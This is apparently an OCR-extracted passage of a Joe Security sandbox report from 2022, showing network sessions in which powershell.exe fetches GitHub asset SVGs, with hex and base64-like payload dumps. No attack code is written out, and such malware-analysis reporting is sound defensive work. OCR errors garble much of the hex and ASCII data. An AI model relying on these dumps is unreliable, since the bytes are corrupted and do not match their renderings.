57 3175 78 77 43 6a 49 4b 42 6f 41 4b 6d 6d 57 33 78 48 79 4e 62 55 6e 59 79 79 71 67 53 51 6e 73 54 78 66 69 6a 55
5477 51 78 4d 7a 4c 71 53 4d 6¢ 2b 4a 71 64 58 32 71 61 55 79 54 45 5a 4b 32 69 6a 6f 6f 6f 6¢ 6a 7a 4f 4a 33 4d 7a 42
53 43 72 67 32 64 43 4d 69 43 4b 6¢ 76 74 6b 55 66 47 6b 33 2f 76 45 51 31 2b 2b 75 74 61 5a 48 6¢ 57 63 54 68 2f 69 7
07652 7544 39 59 32 77 4b 75 50 61 74 74 49 63 6b 63 75 45 4c 55 75 7a 6d 61 4e 57 61 56 34 46 62 67 43 6a 48 49
33 4e 65 6b 6f 31 64 5a 41 76 61 79 51 75 56 36 69 7a 42 61 2f 77 42 70 34 4e 67 66 74 58 43 4e 73 73 63 78 57 59 66
62 4b 59 67 69 74 74 48 70 53 43 31 35 4e 6f 68 5a 35 4f 7a 50 4b 51 4d

Data Ascii: jgefatqVCsbS2CpfAIQP6VQPMi2kivgsjZIW1uxwCjlKBoAKmmW3xHyNbUNYyyqgSQns TxfijuTwQx
MzLgSMI+JqdX2gaUyTEZK2ijoooljz0J3MzBSCrg2dCMiCKIVtkUfGk3/VEQ1++utaZHIWcTh/ipvRuD9Y 2wKuPatt
IckcuELUuzmaNWaV4FbgCjHI3NekoldZAvayQuV6izBa/wBp4NgftXCNsscxWYbKYgittHpSC15NohZ50zPKQM

Data Raw: 55 6a 79 74 69 78 6a 43 34 44 54 43 32 65 46 4b 52 59 57 34 76 4c 6e 54 72 77 6b 59 45 6d 67 72 63 59 4a
64 6a6a 77 52 6a 42 6a 59 56 77 6¢ 47 68 59 49 52 71 74 75 45 56 6b 69 41 66 49 57 6f 32 41 7a 4e 4c 61 52 78 6b 66
5a 58 39 35 79 5a 53 70 38 6a 58 72 52 75 79 6e 7a 55 32 37 69 69 2f 76 44 4f 6a 5a 46 61 78 66 53 6b 78 31 59 35 6e 7
5 71 5a 4a 4e 55 58 54 7a 72 5a 67 42 31 44 43 6¢ 4b 64 63 78 56 6d 55 35 45 56 41 7a 4c 66 45 4a 6e 6a 71 4b 32 55
4b 35 7a 64 50 41 33 7a 46 62 55 6b 67 56 62 47 4a 30 34 6d 62 6f 4f 43 6f 43 76 43 43 6e 42 49 70 49 65 49 31 74 30
79 4c 47 51 2b 7a 4b 67 75 78 55 6a 78 49 62 31 4d 38 71 79 45 67 44 6a 34 62 6¢ 52 66 78 57 74 55 43 77 52 50 6f 6d
68 35 4e 75 4e 67 73 6f 34 76 75 6e 41 39 31 2b 79 6a 52 53 49 32 49 77 64

Data Ascii: UjytixjC4DTC2eFKRYWAvLnTrwkYEmgrcYJdjjwRiBjYVwIGhYIRGUEVKIAfIW02AZNLaRXkIZX95yZSp8jXrRu
ynzU27iilvDOjZFaxfSkx1Y5nuqzZINUXTzrZgB1DCIKdexVmUSEVAZLIEInjqK2UK5zdPA3ZFbUkgVbGJ04mboOCoC
VCCnBIplel1t0yL GQ+zKguxUjxIb1M8ayEgDj4bIRiXWtUCWRPomh5NuNgso4vunA91+yjRSI2iwd

Data Raw: 31 4f 7a 6a 57 4e 50 6f 34 2f 49 32 78 4e 4b 71 6f 76 43 51 71 69 77 48 45 6f 72 53 5a 66 38 41 30 31 37 45
5a 59 2f 45 37 74 42 53 73 4c 69 34 46 73 4b 6¢ 2b 67 63 32 32 56 7a 37 44 6e 32 50 49 37 70 4c 62 58 36 51 51 68 2b
61 62 50 6b 33 2b 4f 6f 37 50 4b 44 44 73 76 52 4e 57 71 2f 38 70 4a 75 4f 34 6e 2b 55 70 42 71 4e 6b 56 74 41 4d 35 61
50 37 62 74 49 39 7a 2b 53 55 39 58 72 61 43 37 65 79 6d 53 49 4f 53 6a 65 74 37 5a 30 56 47 34 57 56 34 6¢ 63 6e 79
77 33 2f 5a 62 64 69 37 65 6f 50 31 4e 57 6b 34 48 44 59 34 48 44 71 4b 32 57 57 4e 79 66 5a 38 59 72 46 53 37 46 54 3
0 4a 33 6a 2b 64 75 50 69 4c 31 74 4d 61 53 37 4f 6f 6a 6b 63 33 4d 71 6f 4d 46 59 4c 35 61 30 4c 49 6f 73 75 35 77 6b 6
136 6b 32 75 54 6b 6f 38 36 50 69 65 55 75 2f 49 4f 33 36 47 6a

Data Ascii: 10zjWNP04/12xNKqovCQqiwHEorSZf8A017EZY/E7tBSsLi4FsKI+gc22Vz7Dn2PI7pLbX6QQh+abP
k3+007PKDDsVRNWq/8pJuO4n+UpBgNkVtAM5aP7btI9z+SU9XraC7eymSIOSjet7Z0VG4WV4lcnyw3/Zbdi7eoPINW
k4HDY4HDgK2WWNyfZ8YFS7FT0J3j+duPiL1tMaS700jkc3MgoMFYL5a0L losuSwkabk2uTko86PieUu/IO36Gj

Data Raw: 69 47 59 5a 78 77 43 2f 34 6d 76 52 6b 59 34 30 4b 47 57 54 78 74 5a 68 59 6b 58 76 54 68 68 65 36 48 6f 32
6e 77 79 6f 32 46 5a 61 43 73 79 4e 31 69 4c 41 66 4b 72 30 63 67 4b 41 75 63 71 63 46 44 2b 42 50 36 55 63 44 57 65
76 5556 6b 61 77 4e 73 61 77 7a 2f 43 75 58 7a 6f 6d 39 58 4b 2b 39 54 41 6a 65 4d 61 4e 35 6b 32 64 46 66 45 4e 69
42 7a 48 39 57 47 77 74 6¢ 53 33 75 63 62 55 32 6e 77 6f 41 38 36 75 4f 4a 71 49 74 51 77 41 2f 65 46 34 4a 51 50 44 4b
75 66 6b 65 59 70 4f 4b 4d 6e 77 79 72 36 70 33 67 4d 6d 71 6d 6¢ 4b 33 48 72 61 67 31 4c 64 66 6¢ 57 43 32 73 53 50
79 47 37 52 4b 30 42 4e 48 46 6d 4b 6a 34 34 62 38 79 42 57 6d 36 46 6e 43 6a 78 38 4e 58 42 31 42 70 53 33 6b 4c 31
4156 42 31 63 68 52 57 30 71 6f 35 49 4c 6e 38 61 32 53 53 54 55 4f

Data Ascii: iGYZxwC/4mvRkY40KGWTxtZhYkXvThhe6Ho2nwyo2FZaCsyN1iLAfKrOcgKAucqcFD+BP6UcDWevUV
kawNsawz/CuXzom9XK+9TAjeMaN5k2dFfENiBzZHOWGwtIS3ucbhU2nwoA86u0JqltQwA/eF4IQPDKufkeY pOKMnwyr6
p3gMmgmIK3Hrag1LdfIWC2sSPyG7RKOBNHFmMK;j44b8yBWm6FNCjx8NXB1BpS3kL1AVB1chRW0qo5ILn8a2SSTUO
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Data

Data Raw: 54 71 4f 57 2f 51 2f 55 71 61 4e 41 47 6b 41 49 46 41 58 30 47 2f 41 62 69 4d 4d 2b 51 70 4f 33 6¢ 59 32 48
75 2f 68 6e 54 6¢ 35 63 53 73 52 74 77 4a 35 44 6e 52 78 59 58 6¢ 49 30 47 67 2b 71 42 46 65 46 66 78 4e 4f 53 4e 46 4f
4e 4b 56 4a 30 7a 70 46 42 4f 6f 77 4e 4d 66 6a 6a 54 69 6d 46 4e 33 4d 42 7a 72 46 74 54 2b 35 2b 75 63 45 71 2f 69
62 4d 35 6d 73 6b 75 45 36 74 71 33 31 50 49 31 79 48 63 2f 6¢ 49 66 45 76 55 61 69 73 6d 46 39 37 41 4b 48 50 44 66
3379 4c 43 6d 75 70 55 46 42 6f 42 75 42 64 6a 6b 42 56 69 65 4e 68 68 79 4e 4f 79 6e 6d 4b 69 42 2b 30 75 64 53 41 6
e 3354 67 6142 48 31 58 6b 61 67 56 33 52 65 46 57 4a 4e 72 66 61 58 57 32 6¢ 4f 57 62 63 4b 63 67 30 75 48 76 43
6e 44 4b 64 52 75 48 6b 6¢ 44 36 67 33 62 55 38 71 46 79 54 57 4c 45

Data Ascii: TqQOW/Q/UqaNAGKAIFAX0G/AbiMM+QpO3IY2Hu/hnTI5cSsRtwI5DnRxY XII0Gg+gBFeFfXNOSNFONK
VJ0zpFBOowNMfjjTImFN3MBzrFtT+5+ucEqg/ibM5mskuE6tq31PI1yHc/lIfEvUaismF97AKHPDf3yLCmupUFBoBuB
djkBVieNhhyNOynmKiB+0udSAn3TgaBH1XkagV3ReFWJINrfaXW2IOWhbcKcgOuHvCnDKdRuHkID6g3bU8qFyTWLE

Data Raw: 7a 61 31 69 70 39 56 74 37 46 57 47 54 43 68 5a 67 4d 48 46 4d 41 54 6b 44 76 4f 35 41 77 36 69 70 62 66
5a 62 45 55 76 6a 78 56 52 79 47 39 66 6f 33 50 69 41 39 6b 37 6¢ 75 47 52 65 30 2b 49 77 4e 48 46 53 44 53 46 53 79
41 32 4f 59 76 55 6f 61 5a 56 50 46 62 45 41 63 72 38 2b 37 37 62 66 67 4e 35 38 42 79 36 47 68 34 57 4f 50 51 2f 55 73
62 62 68 63 55 77 4b 73 67 4b 32 37 79 32 59 43 35 51 44 41 2b 58 31 42 74 66 61 46 51 2b 55 6e 67 72 2b 64 67 5a 50
38 44 66 39 64 79 46 6a 30 70 77 76 51 59 6d 76 45 5a 64 69 44 59 36 73 46 76 51 75 53 62 41 56 77 59 43 35 46 36 55
327245307476 47 72 67 6559 74 51 75 57 68 65 33 6e 61 73 7a 73 38 5a 50 38 41 68 70 51 53 4f 4d 55 53 74 74 44
72 55 59 5a 6d 76 6e 6b 76 57 6f 37 79 44 2f 43 51 63 62 33 72 61 48 76

Data Ascii: zalip9Vt7FWGTChZgMHFMATKDvO5AW6ipbfZbEUVjXVRYG9fo3PiA9k7IuGRe0+IWNHFSDSFSYA20Y
vUoaZVPFbEAcr8+77bfgN58By6Gh4WOPQ/UsbbhcUwKsgK27y2Y C5QDA+X1BtfaFQ+Ungr+dgZP8Df9dyFj0opwvQYm
VEZdiDY6sFvQuSbAVwYC5F6U2rEOtvGrge YtQuWhe3naszs8ZP8AhpQSOMUSttDrUYZmvnkvWo7yD/CQcb3raHv

Data Raw: 30 41 36 41 56 4b 49 2b 31 59 67 76 61 39 67 42 66 41 61 6d 69 38 73 4d 43 68 41 44 67 7a 4d 78 77 76 62
6d 61 61 38 6a 6d 37 63 76 49 64 42 52 73 61 77 49 7a 46 43 36 52 6d 33 51 74 79 33 48 41 56 67 4f 58 63 4f 41 76 52
34 5558 4b 73 46 48 71 72 79 48 63 4e 6a 51 42 70 54 53 6d 72 44 64 6¢ 72 57 49 4e 43 36 6e 4e 64 52 51 73 65 38 50
41 4d 52 31 6f 39 57 37 78 73 35 49 43 65 64 4a 39 4a 4d 70 37 47 2f 75 78 34 2f 6a 75 39 34 37 69 42 5a 6¢ 70 73 58 41
64 4f 70 58 4f 69 77 46 77 77 5a 63 77 52 55 36 53 2f 5a 59 63 42 72 5a 33 6a 4a 79 75 4d 2f 49 30 76 78 6f 33 2b 7a 70
75 35 62 2f 61 6a 6a 4e 47 79 45 63 44 2b 52 4f 42 2b 42 6f 65 4a 4d 66 4d 61 69 6d 7a 41 4b 4e 31 47 4b 6d 68 59 6b
59 6a 6b 52 67 52 76 47 42 79 4f 6f 50 4d 56 4a 78 33 4e 37 32 74 76

Data Ascii: 0A6AVKI+1Ygva9gBfAami8sMChADgzMxwvbmaa8jm7cvlidBRsawlzFC6RmM3Qty3HAVgOXcOAVRAUXK
sFHaryHcNjQBpTSmrDdIrWINCEnNdRQse8PAMR109W7xs51CedJ9IMp7G/ux4/ju947iBZIpsXAdOpXOiwFwwZcwRU
6S/ZYcBrz3jJyuM/I0vxo3+zpu5b/ajjNGyEcD+ROB+BoeJMfMaimzAKN1GKmhYkYjkRgRvGBYyOoPMVJx3N72tv

Data Raw: 54 49 33 57 65 38 70 48 54 4c 7a 36 59 4d 49 52 33 4c 53 6d 75 35 4f 77 6a 37 78 4e 63 4f 49 71 41 2b 45 63
743561 48 62 34 6f 74 4b 6¢ 56 55 57 2b 38 70 4d 58 51 45 38 35 6¢ 75 2b 38 72 6f 4c 2b 45 2b 38 70 67 68 68 43 62
47 30 76 47 59 65 30 54 4c 65 39 39 42 2f 65 45 33 4e 2f 6a 57 73 41 4f 38 35 38 49 37 34 77 72 66 75 32 2b 46 55 38
6a 65 30 55 4f 57 62 70 79 6¢ 53 6e 34 62 78 50 32 59 4a 35 33 30 39 49 74 51 69 2f 4f 62 78 51 63 53 4c 66 43 55 58 4e
6f 52 59 39 79 6¢ 35 4a 56 38 30 48 57 5a 6¢ 4d 4b 43 4c 63 47 78 67 30 4e 34 5a 62 57 62 4¢ 62 43 38 71 44 4d 2b 6d 3
04174 4c 77 73 4a 6d 6d 61 58 6¢ 65 70 65 71 66 53 43 73 79 6d 36 6d 30 58 6a 76 31 4c 39 49 6e 46 55 6d 32 4d 50
45 30 78 31 6¢ 53 70 6e 66 4e 61 4e 6¢ 75 66 46 46 4a 53 6f 74 2b 73

Data Ascii: TI3We8pHTLz6YMIR3LSmu50w;j7xNcOlgA+Ect5aHb4otKIVUW+8pMXQE85Iu+8roL+E+8pghhChGOv
GYe0TLe99B/eE3N/jWsAO858I74wrfu2+FU8je0UOWbpyISn4bxP2YJ53091tQi/ObxQcSLICUXNORY9yI5JV80HWZ
IMKCLcGxgON4ZbWbLbC8gDM+mOAtLwsImmaXlepeqfSCsym6mOXjv1L9InFUmM2MPEOx1ISpnfNaNIufFFJSot+s

Data Raw: 4f 2f 63 31 6d 62 30 4d 47 70 49 31 69 4b 46 43 36 58 4a 32 48 2b 38 71 70 55 49 33 76 72 73 49 31 42 6a 54
49 57 6f 2b 30 37 42 37 58 43 71 42 74 65 39 34 46 59 63 34 76 53 5a 57 43 67 36 57 77 74 67 66 34 38 42 65 44 53 61
78 68 4c 77 59 61 54 4b 74 37 32 6¢ 2b 34 42 61 4b 4c 78 48 4c 65 45 37 69 47 64 6f 61 69 5a 54 76 2b 55 2b 73 49 46
5a 64 4e 44 7a 48 53 4b 74 72 2b 2b 4f 34 76 4c 64 34 43 38 64 72 36 44 61 42 67 4e 43 49 7a 58 69 69 35 74 48 61 37
66 34 2b 4d 4e 34 32 41 33 37 69 36 6f 66 54 44 66 45 77 47 34 37 79 50 61 42 67 77 31 6¢ 38 75 6a 62 64 5a 55 46 6f
59 51 44 47 53 33 65 74 4c 59 32 7a 4c 63 62 69 64 6b 30 49 73 65 35 65 45 7a 63 34 32 77 4a 38 61 6d 56 50 43 37 65
38 4f 74 45 65 68 6¢ 4a 46 59 47 38 32 62 32 4d 76 4b 78 38 66 79 69 48

Data Ascii: O/c1mbOMGpI1iKFC6XJ2H+8qpUI3vrsI1BjTIWo0+07B7XCqBte94FYc4vSZWCg6Wwtgf48BeDSaxhL
wYaTKt72I+4BaKLxHLeE7iGdoaiZ Tv+U+sIFZdNDzHSKtr++04vLd4C8dr6DaBgNCIzXii5tHa7f4+MN42A37i60fT
DfEwG47yPaBgw1I8ujbdZUFoYQDGS3etLY2zL chidkOlse5eEzc42wlI8amVPC7e80tEehlJFY G82b2MvKx8fyiH

Data Raw: 4a 32 61 6d 31 2f 46 36 54 4a 70 46 51 58 48 4f 55 57 59 4e 59 54 52 76 6b 5a 62 2f 41 4e 6f 31 39 4c 78 79
5270 79 6a 76 64 56 46 39 6f 58 4a 61 38 70 56 32 56 74 54 6f 5a 76 77 77 31 53 6e 52 7a 64 30 36 77 56 30 63 36 52
58 4a 62 4c 45 70 61 51 6f 4a 37 54 53 75 57 46 4e 41 53 76 51 63 34 6d 41 78 6a 62 55 47 2b 65 6e 39 5a 53 39 6a 31
6a 2b 73 64 56 48 6¢ 71 5a 39 69 79 49 46 70 6e 51 64 59 6f 74 6f 53 4¢c 57 31 45 77 56 55 6e 50 54 4a 76 6¢ 32 39 4a 6
a 795459 44 59 62 78 59 50 33 43 74 57 32 34 76 50 30 44 66 43 59 6f 70 4c 65 32 61 42 30 36 4e 4c 6e 6b 6b 57 2f 64
59 74 6f 65 6b 4f 35 2f 61 4b 7a 6¢ 64 68 63 78 6e 59 37 6d 44 6a 55 57 76 51 5a 67 4e 61 62 69 78 2b 63 77 34 79 30
77 47 57 34 76 66 38 41 4d 66 34 6e 32 71 6f 2b 69 32 45 70 64 71 7a

Data Ascii: J2am1/F6 TIpFQXHOUWYNY TRvkZb/ANo19LxyRpyjvdVF90XJa8pV2ViToZvwwlSnRzd06wVOCc6RXJIb
LEpaQoJ7TSUWFNASvQc4mAXjbUG+en9ZS9j1j+sdVHIqZ9iyIFpnQdYotoSLW1EWVUNPTIVI29JjyTYDYbxYP3CtW2
4vPODfCYopLe2aB06NLnkkW/dYtoekO5/aKzldhcxnY7mDjUWvQZgNabix+cwdyOwGW4viBAMf4n2qo+i2Epdgz

Data Raw: 6b 72 4e 58 79 6e 43 46 56 36 6b 6d 56 4d 4a 68 71 67 73 31 4d 53 37 55 75 34 46 74 61 4b 53 52 72 77 37
44 7a 30 68 55 45 57 68 6f 67 4b 53 54 77 39 6d 6a 39 4b 35 2f 6¢ 6a 30 42 32 34 71 38 77 49 70 68 4d 42 68 6¢ 2b 41
4d 5a 65 6b 49 6¢ 75 49 55 6b 36 52 46 43 77 31 36 49 33 71 4c¢ 39 5a 39 73 77 34 2b 50 38 6f 6d 4c 70 4f 53 46 76 4b 3
958 39 45 65 41 4e 69 44 45 71 4c 55 55 4d 73 71 31 56 70 4c 63 2f 53 56 4b 6a 56 47 75 5a 68 55 7a 56 50 54 69 54 6¢
52 6a 35 65 34 64 75 46 4c 78 53 72 34 66 6e 77 54 78 53 73 74 31 76 30 6¢ 35 65 59 64 73 74 55 65 66 41 69 36 6b 53
6b 64 62 63 4d 53 74 6e 42 36 79 72 63 57 63 63 70 54 66 5a 68 46 59 4d 4c 6a 6a 56 54 4b 33 72 77 4c 4b 46 68 59 77
4d 51 51 5a 54 61 34 34 4f 65 58 76 55 64 58 74 31 45 5a 6d 38 4a 34 30

Data Ascii: krNXynCFV6kmVMJhqgs1MS7Uu4FtaKSRrw7DzOhUEWhogKSTw9mj9K5/lj0B24q8wlphMBhI+AMZek
1lulUK6RFCw1613qL.9Z9sw4+P8omLpOSFVKIX9EeANIDEqLUUMsG1VpLc/SVKjVGUZhUzVPTIiTIRj5e4duFLxSr4fn
wTxSstlv0I5eYdstUefAi6kSkdbecMStnB6yrcWeep TfZhFYMLjjVTK3rwLKFhYwMQQZTa440eXvUdXt1EZm8J40

Data Raw: 49 74 4a 32 55 6a 2f 4e 45 58 63 63 6¢ 55 66 4e 79 35 35 53 32 55 65 4f 70 56 4b 6¢ 35 59 31 72 58 49 77 58
78 6f 49 64 51 79 55 4a 57 53 41 4c 54 52 35 2f 4d 52 48 51 55 74 48 34 6¢ 6¢ 49 4b 77 48 6d 59 37 64 45 48 71 43 62
3157 2b 6¢ 65 63 52 63 78 57 46 59 58 74 4c 4e 7a 71 41 31 77 2b 34 76 69 74 63 58 32 69 4f 67 63 77 59 48 35 33 4d
4172 34 59 6a 78 67 39 46 68 79 33 57 6¢ 58 67 42 49 57 73 47 48 78 43 51 51 44 59 4f 38 43 6b 79 46 65 36 4f 78 58 5
553785136 4b 41 4c 72 58 39 65 30 72 62 38 6b 31 47 50 69 62 71 38 45 43 63 34 66 48 2f 41 4b 69 35 2b 57 30 66
70 50 55 41 68 56 2f 63 4c 4b 6a 31 48 37 49 48 61 69 37 34 49 47 53 6a 58 59 6¢ 4f 30 71 70 59 31 45 35 67 64 6b 4d
39 34 36 74 46 4¢ 52 55 39 31 45 77 79 79 37 64 59 59 71 46 6d 76 70 64

Data Ascii: 1tJ2UjJ/NEXcclUfNy55S2UeOpVKI5Y 1rXIlwXxoldQyUJWSALTR5/MRHQUtH4IIIKwHmMY 7dEHqCb1W+
lecRexWFY XtLNzgA1w+4vitcX2i0gewYH53MAr4Y jxg9Fhy3WIXgBIWsGHxCQQDYO8CkyFe60OxXUSxQ6KALrX9e0rb
8k1GPibg8ECc4fH/AKi5+WOfpPUAhV/CLK|1H7IHai741GSjXYIO0qpY1E5gdkM946tFLRU91EWYY7dYYqFmvpd
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kBytes

Timestam
P transferred

2022-04-20 13:07:43 UTC 4153

2022-04-20 13:07:43 UTC 4169

Session ID Source IP
108 192.168.2.4
. kBytes
Ti t
imestamp transferred

2022-04-20 13:07:43 UTC 4182

2022-04-20 13:07:43 UTC 4183

2022-04-20 13:07:43 UTC 4183

2022-04-20 13:07:43 UTC 4185

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49867

Direction

ouT

Data

Data Raw: 79 45 45 73 6d 62 51 47 58 63 65 42 54 73 6a 4a 4c 62 42 41 47 34 61 77 68 35 6d 54 36 41 57 4b 5a 61 49
4e 725530 76 79 59 37 61 56 2f 74 71 4b 7a 6f 44 69 54 49 65 31 45 72 54 79 44 38 70 2f 71 58 46 4a 77 4f 6e 73 2f 37
6856 51 67 38 67 6¢ 43 77 4d 63 72 2f 41 4b 57 61 4b 68 32 6a 30 4f 4a 65 44 62 33 2f 41 4d 45 64 49 56 32 76 2b 59
43 6a 59 30 7a 5a 74 50 4d 62 70 66 72 45 2f 77 44 6¢ 69 64 42 4b 62 39 67 68 42 69 49 54 43 57 79 33 6f 66 6¢ 55 66 5
2 2b 57 49 57 6¢ 2f 75 41 6f 32 54 4c 4b 2f 57 51 4a 6b 34 2b 58 68 2f 76 44 77 43 42 5a 61 73 65 7a 69 46 44 74 47 48 5
23964 34 6e 61 76 59 34 50 38 32 55 35 6a 59 4b 41 34 68 65 4f 55 51 30 6¢ 50 5a 2f 68 6a 62 69 4e 57 70 74 6f 66 67
56 46 56 74 66 37 6f 78 68 6¢ 57 31 6a 33 55 37 58 59 65 2b 67 69

Data Ascii: YEEsmbQGXceBTsjJLbBAG4awh5mT6AWKZalNrUOvyY7aV/tgkzoDiTle1ErTyD8p/gXFJwOns/7hVQ
g8glCwMcr/AKWaKh2j00JeDb3/AMEdIV2v+Y CjY0zZtPMbpfrE/wDIlidBKb9ghBil TCWy3oflUFR+WIWI/uA02TLK/
WQJk4+Xh/vDwCBZaseziFDtGHR9d4navY4P82U5)YKA4heOUQOIPZ/hjbiNWptofgVFVtf7oxhIW1j3U7XYe+gi

Data Raw: 4f 69 6f 38 34 4e 34 39 70 6b 59 68 56 7a 4d 51 43 67 39 69 4d 56 55 6¢ 65 62 66 49 49 51 46 43 63 6b 58 61
61 4d 63 49 4b 6d 78 65 76 4d 4d 49 33 6¢ 72 75 55 50 35 6¢ 58 46 33 2f 41 45 47 45 4d 77 4b 42 77 64 4c 79 2b 68 46
3045 62 48 64 30 69 79 45 48 78 66 74 63 45 48 6e 54 43 65 57 38 73 57 68 78 73 67 67 51 68 31 59 74 54 54 55 49 73
385162515374 716f714131374d77726c48416679 77 74685a 77 7a 7472327978 6b537a5664 7a69 5a
47 6e 70 6d 67 46 4d 76 4c 46 72 38 4d 6e 6b 6¢ 43 4d 51 42 4a 70 6a 72 4b 4a 44 5a 33 34 58 56 6¢ 34 4b 48 42 67 6a
52 55 6b 4f 4e 6¢ 49 32 63 67 42 72 79 34 63 35 51 65 6a 59 68 63 57 4e 6b 6b 61 45 75 41 31 49 33 33 4f 53 46 72 44
42 6f 57 68 61 5a 4b 37 6a 41 70 69 4f 58 6a 6f 69 62 79 39 48 63 49 55

Data Ascii: 0io84N49pkYhVzMQCg9iMVUlebfllQFCckXaaMclKmxevMMI3IruUP5IXF3/AEGEMwKBwdLy+hFOEb
HdOiyEHxftcEHNTCeW8sWhxsggQh1YtTTUIs8QbQStqogA17MwrlHAfywthZwztr2yxkSzVdziZGnpmgFMvLFr8Mnk
ICMQBJpjrkIDZ34XVI4KHBgjRUKONII2cgBry4c5QejYhcWNkkaEuA11330SFrDBoWhazK 7jApiOXjoiby9HclU

Destination
Destination IP Process
Port

185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /images/modules/site/icons/footer/github-logo.svg HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 1953

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Last-Modified: Thu, 18 Feb 2021 18:33:19 GMT

ETag: "2e993206a02810586048e0816778c158"

Content-Type: image/svg+xml

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:43 GMT

Age: 2675

X-Served-By: cache-iad-kcgs7200178-IAD, cache-mxp6958-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 4, 5

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000

X-Fastly-Request-ID: 29199527f536805936808928d54b33ff1f41c9f7

Data Raw: 3c 73 76 67 20 68 65 69 67 68 74 3d 22 33 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 35 20 31 36
222078 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64
74 68 3d 22 38 34 22 3e 3¢ 70 61 74 68 20 66 69 6¢ 6¢ 3d 22 72 67 62 28 33 36 2c 20 34 31 2c 20 34 36 29 22 20 64 3d
22 4d 31 38 2e 35 33 20 31 32 2e 30 33 68 2d 2e 30 32 63 2e 30 30 39 20 30 20 2e 30 31 35 2e 30 31 2e 30 32 34 2e 30
31 31 68 2e 30 30 36 6¢ 2d 2e 30 31 2d 2e 30 31 7a 6d 2e 30 30 34 2e 30 31 31 63 2d 2e 30 39 33 2e 30 30 31 2d 2e 33
32 37 2e 30 35 2d 2e 35 37 34 2e 30 35 2d 2e 37 38 20 30 2d 31 2e 30 35 2d 2e 33 36 2d 31 2e 30 35 2d 2e 38 33 56 38
2e 31 33 68 31 2e 35 39 63 2e 30 39 20 30 20 2e 31 36 2d 2e 30 38 2e 31

Data Ascii: <svg height="30" viewBox="0 0 45 16" xmIns="http://www.w3.0rg/2000/svg" width="84"><path fill="rgb(36, 41,
46)" d="M18.53 12.03h-.02¢.009 0 .015.01.024.011h.006I-.01-.01zm.004.011c-.093.001-.327.05-.574.05-.78 0-1.05-.36-
1.05-.83Vv8.13h1.59¢.09 0 .16-.08.1

Data Raw: 30 39 20 30 2d 2e 31 37 2e 30 38 2d 2e 31 37 2e 31 37 76 34 2e 30 39 68 2d 33 2e 33 31 56 32 2e 36 63 30
2d 2e 30 39 2d 2e 30 38 2d 2e 31 37 2d 2e 31 37 2d 2e 31 37 68 2d 32 2e 31 33 63 2d 2e 30 39 20 30 2d 2e 31 37 2e 30
38 2d 2e 31 37 2e 31 37 76 31 31 2e 31 31 63 30 20 2e 30 39 2e 30 39 2e 31 37 2e 31 37 2e 31 37 68 32 2e 31 33 63 2e
30 39 20 30 20 2e 31 37 2d 2e 30 38 2e 31 37 2d 2e 31 37 56 38 2e 39 36 68 33 2e 33 31 6¢ 2d 2e 30 32 20 34 2e 37 35
63 30 20 2e 30 39 2e 30 38 2e 31 37 2e 31 37 2e 31 37 68 32 2e 31 33 63 2e 30 39 20 30 20 2e 31 37 2d 2e 30 38 2e 31
37 2d 2e 31 37 56 32 2e 36 63 30 2d 2e 30 39 2d 2e 30 38 2d 2e 31 37 2d 2e 31 37 2d 2e 31 37 7a 4d 38 2e 38 31 20 37
2e 33 35 76 35 2e 37 34 63 30 20 2e 30 34 2d 2e 30 31 2e 31 31 2d 2e 30 36

Data Ascii: 09 0-.17.08-.17.17v4.09h-3.31V2.6¢0-.09-.08-.17-.17-.17h-2.13¢-.09 0-.17.08-.17.17v11.11c0 .09.09.
17.17.17h2.13¢.09 0 .17-.08.17-.17V8.96h3.311-.02 4.75c0 .09.08.17.17.17h2.13¢.09 0 .17-.08.17-.17V2.6c0-.09-.08-.17-
.17-.17zM8.81 7.35v5.74¢c0 .04-.01.11-.06
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Session ID Source IP
109 192.168.2.4
. kBytes
Ti t
imestamp transferred

2022-04-20 13:07:43 UTC 4185

2022-04-20 13:07:43 UTC 4186

2022-04-20 13:07:43 UTC 4186

Session ID Source IP
11 192.168.2.4
. kBytes
Tim m|
imestamp transferred

2022-04-20 13:07:36 UTC 1032

Copyright Joe Security LLC 2022

Source Port

49868

Direction

ouT

Source Port

49764

Direction

ouT

Destination

Destination IP Process

Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Data

GET /images/modules/site/icons/footer/facebook.svg HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 327

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Last-Modified: Thu, 18 Feb 2021 18:33:19 GMT

ETag: "cc629e4b2c1fb53642ad8109ebdade3d"

Content-Type: image/svg+xml

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:43 GMT

Age: 3516

X-Served-By: cache-iad-kcgs7200093-IAD, cache-mxp6963-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 13, 8

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000

X-Fastly-Request-1D: ae09acf0760d4bb5153933e42d5ad4af37eed24c

